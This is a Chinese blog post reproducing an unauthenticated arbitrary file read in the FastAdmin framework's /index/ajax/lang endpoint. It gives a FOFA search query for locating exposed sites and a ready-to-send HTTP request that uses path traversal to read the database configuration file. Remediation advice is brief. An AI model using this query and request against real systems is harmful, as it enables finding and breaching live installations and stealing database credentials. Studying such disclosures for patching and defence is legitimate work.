FastAdmin后台开发框架 lang 任意文件读取漏洞复现

0x01 产品简介

FastAdmin是一款基于PHP+Bootstrap的开源后台框架,专为开发者精心打造。它基于ThinkPHP和Bootstrap两大主流技术构建,拥有完善的权限管理系统和一键生成CRUD等强大功能。FastAdmin致力于提高开发效率,降低开发成本,同时确保后台系统的稳定性和安全性。

0x02 漏洞概述

FastAdmin后台开发框架 /index/ajax/lang 接口存在任意文件读取漏洞,未经身份验证攻击者可通过该漏洞读取系统重要文件(如数据库配置文件、系统配置文件)、数据库配置文件等等,导致网站处于极度不安全状态。

0x03 复现环境

FOFA:

body="fastadmin.net" || body="<h1>fastadmin</h1>" && title="fastadmin"

0x04 漏洞复现

PoC

GET /index/ajax/lang?lang=../../application/database HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

 读取数据库配置

0x05 修复建议

关闭互联网暴露面或接口设置访问权限

升级至安全版本

相关推荐

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-06-18 17:36:02       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-06-18 17:36:02       101 阅读
  3. 在Django里面运行非项目文件

    2024-06-18 17:36:02       82 阅读
  4. Python语言-面向对象

    2024-06-18 17:36:02       91 阅读

热门阅读

  1. 【杂记-浅谈OSPF协议中的RouterDeadInterval】

    2024-06-18 17:36:02       26 阅读
  2. 巴中青少年编程:开启未来科技的无限可能

    2024-06-18 17:36:02       34 阅读
  3. 自定义缓冲区(可用于串口等)

    2024-06-18 17:36:02       18 阅读
  4. wifi MLME

    2024-06-18 17:36:02       37 阅读